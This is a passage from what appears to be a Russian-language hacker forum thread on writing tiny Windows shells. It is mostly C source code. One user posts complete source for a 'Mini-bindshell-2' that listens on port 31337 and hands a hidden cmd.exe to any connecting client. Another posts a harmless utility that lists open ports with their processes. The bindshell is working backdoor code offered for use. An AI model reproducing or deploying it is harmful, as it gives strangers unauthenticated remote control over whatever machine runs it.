main.cpp(89): error C2365: 'StartThread' : redefinition; previous definition was a 'formerly unknown identifier'

[f04c3]

Там где ты проверяешь трубу тоесть KePeekNamedPipe там нада сделать в цыкле потому что мах обем с трубы 0xFFF (4095) а если больше то не весь буфер передаст ну короче (зайди этим шелом в system32 например )

[Gargulia]

а можно чуть чуть подробнее ато не совсем догоняю... и это у тебя компилицца? ато у меня совсем что то не то.........

[sn0w]

Там где ты проверяешь трубу тоесть KePeekNamedPipe там нада сделать в цыкле потому что мах обем с трубы 0xFFF (4095) а если больше то не весь буфер передаст ну короче (зайди этим шелом в system32 например )


вот скомпиль и зайди а потом комменть

[Ky3bMu4]

Mini-bindshell-2 (с реконнектом)
Теже 2кб на выходе.

#include "winsock2.h"
#pragma comment(linker,"/SECTION:.text,EWR")
#pragma comment(linker,"/ENTRY:WinMain")
#pragma comment( linker, "/defaultlib:ws2_32.lib" )
DWORD WINAPI ClientURA(HANDLE HCmd);
DWORD WINAPI ClientURA(
HANDLE HCmd
)
{
STARTUPINFO st;
PROCESS_INFORMATION pt;


st.cb = sizeof(STARTUPINFO);
st.lpReserved = NULL;
st.lpTitle = NULL;
st.lpDesktop = NULL;
st.lpReserved2 = NULL;
st.cbReserved2 = 0;
st.wShowWindow = SW_HIDE;
st.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
st.hStdInput = HCmd;
st.hStdOutput = HCmd;
st.hStdError = HCmd;
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&st,&pt);
CloseHandle(HCmd);
CloseHandle(pt.hProcess);
CloseHandle(pt.hThread);
return 0;
}
int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){
int sock;
SOCKET AcceptS;
struct sockaddr_in s;
WSADATA wsa;
WSAStartup( MAKEWORD( 2, 2 ), &wsa );
sock = WSASocketA(PF_INET,SOCK_STREAM,0,NULL,0,0);
s.sin_family = AF_INET;
s.sin_addr.s_addr = htonl( INADDR_ANY);
s.sin_port = htons( 31337 );
bind(sock,(SOCKADDR*)&s,sizeof(s));
int i;
char type[2], buf[126];
listen( sock, 0 );
while (1){
AcceptS = accept(sock,NULL,NULL);
CreateThread( NULL, 0,
(LPTHREAD_START_ROUTINE)ClientURA,
(LPVOID)AcceptS,
NULL, NULL );


}
return 0;
}

[4nob1oz]

Меня знакомый недавно просил как смотреть открытые порты, как я ему не объяснял он так и не смог посмотреть их :) Накодил прогу ему быстренько. Показывает открытые TCP и UDP порты на машине с процессом который сообтвествует открытому порту.

Не пинайте за то что так всё криво и лишние хедеры висят, мне лень править. Да и процессы тоже криво определяет по pid ну короче может кому то и сгодится.

#include <Winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <Iphlpapi.h>
#include <conio.h>
#include <Tlhelp32.h>
#include <psapi.h>

#pragma comment ( lib, "Iphlpapi.lib" )
#pragma comment ( lib, "Ws2_32.lib" )
#pragma comment ( lib, "psapi.lib" )

typedef struct _MIB_TCPROW_EX
{
DWORD dwState; // MIB_TCP_STATE_*
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwRemoteAddr;
DWORD dwRemotePort;
DWORD dwProcessId;
} MIB_TCPROW_EX, *PMIB_TCPROW_EX;

typedef struct _MIB_TCPTABLE_EX
{
DWORD dwNumEntries;
MIB_TCPROW_EX table[ANY_SIZE];
} MIB_TCPTABLE_EX, *PMIB_TCPTABLE_EX;

typedef struct _MIB_UDPROW_EX
{
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwProcessId;
} MIB_UDPROW_EX, *PMIB_UDPROW_EX;

typedef struct _MIB_UDPTABLE_EX
{
DWORD dwNumEntries;
MIB_UDPROW_EX table[ANY_SIZE];
} MIB_UDPTABLE_EX, *PMIB_UDPTABLE_EX;

typedef DWORD (WINAPI *PROCALLOCATEANDGETTCPEXTABLEFROMSTACK)(PMIB_TCPTA BLE_EX*,BOOL,HANDLE,DWORD,DWORD);
PROCALLOCATEANDGETTCPEXTABLEFROMSTACK lpfnAllocateAndGetTcpExTableFromStack = NULL;

typedef DWORD (WINAPI *PROCALLOCATEANDGETUDPEXTABLEFROMSTACK)(PMIB_UDPTA BLE_EX*,BOOL,HANDLE,DWORD,DWORD);
PROCALLOCATEANDGETUDPEXTABLEFROMSTACK lpfnAllocateAndGetUdpExTableFromStack = NULL;

TCHAR *PrintProcessNameAndID( DWORD processID )
{
TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
// Get a handle to the process.
HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID );
// Get the process name.
if (NULL != hProcess )
{
HMODULE hMod;
DWORD cbNeeded;

if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
{
GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName)/sizeof(TCHAR) );
}
}

CloseHandle( hProcess );

return (TCHAR *)&szProcessName;
}

int main()
{
PMIB_TCPTABLE_EX pTcpTableEx;
PMIB_UDPTABLE_EX pUdpTableEx;
DWORD dwSize = 0,dwSizeUDP = 0;
DWORD i = 0,j = 0;
DWORD dwTcpErr,dwUdpErr;
DWORD pid;
char *ip_ptr,*ip_udp_ptr;
unsigned short *port_ptr,*port_udp_ptr;
HMODULE hMudule;

hMudule = LoadLibrary("Iphlpapi.dll");

if(hMudule == NULL) return 0;

lpfnAllocateAndGetTcpExTableFromStack = (PROCALLOCATEANDGETTCPEXTABLEFROMSTACK)GetProcAddr ess(hMudule,"AllocateAndGetTcpExTableFromStack");
lpfnAllocateAndGetUdpExTableFromStack = (PROCALLOCATEANDGETUDPEXTABLEFROMSTACK)GetProcAddr ess(hMudule,"AllocateAndGetUdpExTableFromStack");

if (lpfnAllocateAndGetTcpExTableFromStack == NULL) return 0;
if (lpfnAllocateAndGetUdpExTableFromStack == NULL) return 0;

pTcpTableEx = (MIB_TCPTABLE_EX *) malloc(sizeof(MIB_TCPTABLE_EX));
if(pTcpTableEx == NULL){ printf("Can't allocate memory."); GlobalFree(pTcpTableEx); }

pUdpTableEx = (MIB_UDPTABLE_EX *) malloc(sizeof(MIB_UDPTABLE_EX));
if(pUdpTableEx == NULL){ printf("Can't allocate memory."); GlobalFree(pUdpTableEx); }

dwTcpErr = lpfnAllocateAndGetTcpExTableFromStack(&pTcpTableEx,TRUE,GetProcessHeap(),0,2);
dwUdpErr = lpfnAllocateAndGetUdpExTableFromStack(&pUdpTableEx,TRUE,GetProcessHeap(),0,2);

if(dwTcpErr == ERROR_SUCCESS)
{
printf("\n\nOpened TCP Ports\n");
printf("----------------\n\n");
for(i=0; i<pTcpTableEx->dwNumEntries;i++)
{
ip_ptr = (char *)&pTcpTableEx->table[i].dwLocalAddr;
port_ptr = (unsigned short *)&pTcpTableEx->table[i].dwLocalPort;
pid = pTcpTableEx->table[i].dwProcessId;
if(pid == 4)
{
printf("%s:%ld <---> System\n",inet_ntoa(*(struct in_addr *)ip_ptr),htons(*port_ptr));
}
else
{
printf("%s:%ld <---> %s\n",inet_ntoa(*(struct in_addr *)ip_ptr),htons(*port_ptr),PrintProcessNameAndID(p id));
}
}
}

if(dwUdpErr == ERROR_SUCCESS)
{
printf("\n\nOpened UDP Ports\n");
printf("----------------\n\n");
for(i=0; i<pUdpTableEx->dwNumEntries;i++)
{
ip_udp_ptr = (char *)&pUdpTableEx->table[i].dwLocalAddr;
port_udp_ptr = (unsigned short *)&pUdpTableEx->table[i].dwLocalPort;
pid = pUdpTableEx->table[i].dwProcessId;
if(pid == 4)
{
printf("%s:%ld <---> System\n",inet_ntoa(*(struct in_addr *)ip_udp_ptr),htons(*port_udp_ptr));
}
else
{
printf("%s:%ld <---> %s\n",inet_ntoa(*(struct in_addr *)ip_udp_ptr),htons(*port_udp_ptr),PrintProcessNam eAndID(pid));
}
}
}

printf("\n\nPress any key to exit...");
_getch();

return 0;
}

[Jes]

4nob1oz < а причем тут шелЪ?

[4nob1oz]

Блин а я думал просто опенсорс. Выкладываем проекты. Ну ладно потрут и перенесут я думаю :)

Прогнал немного :)